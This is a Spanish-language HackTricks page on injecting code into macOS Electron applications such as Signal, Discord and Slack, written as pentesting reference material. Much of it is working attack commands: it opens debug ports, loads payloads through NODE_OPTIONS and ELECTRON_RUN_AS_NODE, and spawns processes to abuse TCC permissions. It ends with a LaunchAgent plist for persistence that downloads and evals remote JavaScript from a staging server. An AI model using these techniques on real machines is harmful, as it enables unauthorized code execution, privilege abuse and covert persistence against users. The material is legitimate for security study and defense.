hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md

7.1 KiB

Inyección de aplicaciones Electron en macOS

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Agregar código a aplicaciones Electron

El código JS de una aplicación Electron no está firmado, por lo que un atacante podría mover la aplicación a una ubicación escribible, inyectar código JS malicioso y lanzar esa aplicación y abusar de los permisos TCC.

Sin embargo, se necesita el permiso kTCCServiceSystemPolicyAppBundles para modificar una aplicación, por lo que por defecto esto ya no es posible.

Inspeccionar aplicaciones Electron

Según esto, si ejecutas una aplicación Electron con banderas como --inspect, --inspect-brk y --remote-debugging-port, se abrirá un puerto de depuración para que puedas conectarte a él (por ejemplo, desde Chrome en chrome://inspect) y podrás inyectar código en él o incluso lanzar nuevos procesos.
Por ejemplo:

{% code overflow="wrap" %}

/Applications/Signal.app/Contents/MacOS/Signal --inspect=9229
# Connect to it using chrome://inspect and execute a calculator with:
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')

{% endcode %}

{% hint style="danger" %} Tenga en cuenta que ahora las aplicaciones de Electron fortificadas con RunAsNode deshabilitado ignorarán los parámetros de node (como --inspect) cuando se inicien a menos que la variable de entorno ELECTRON_RUN_AS_NODE esté establecida.

Sin embargo, aún podría usar el parámetro de electron --remote-debugging-port=9229, pero la carga útil anterior no funcionará para ejecutar otros procesos. {% endhint %}

NODE_OPTIONS

{% hint style="warning" %} Esta variable de entorno solo funcionaría si la aplicación de Electron no ha sido fortificada adecuadamente y lo permite. Si está fortificada, también deberá usar la variable de entorno ELECTRON_RUN_AS_NODE. {% endhint %}

Con esta combinación, podría almacenar la carga útil en un archivo diferente y ejecutar ese archivo:

{% code overflow="wrap" %}

# Content of /tmp/payload.js
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Ca$

# Execute
NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord

ELECTRON_RUN_AS_NODE

Según la documentación, si esta variable de entorno está establecida, iniciará el proceso como un proceso normal de Node.js.

{% code overflow="wrap" %}

# Run this
ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
# Then from the nodeJS console execute:
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')

{% endcode %}

Como se propone aquí, se podría abusar de esta variable de entorno en un plist para mantener la persistencia:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>EnvironmentVariables</key>
    <dict>
           <key>ELECTRON_RUN_AS_NODE</key>
           <string>true</string>
    </dict>
    <key>Label</key>
    <string>com.xpnsec.hideme</string>
    <key>ProgramArguments</key>
    <array>
        <string>/Applications/Slack.app/Contents/MacOS/Slack</string>
        <string>-e</string>
        <string>const { spawn } = require("child_process"); spawn("osascript", ["-l","JavaScript","-e","eval(ObjC.unwrap($.NSString.alloc.initWithDataEncoding( $.NSData.dataWithContentsOfURL( $.NSURL.URLWithString('http://stagingserver/apfell.js')), $.NSUTF8StringEncoding)));"]);</string>
    </array>
    <key>RunAtLoad</key>
    <true/>
</dict>
</plist>
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥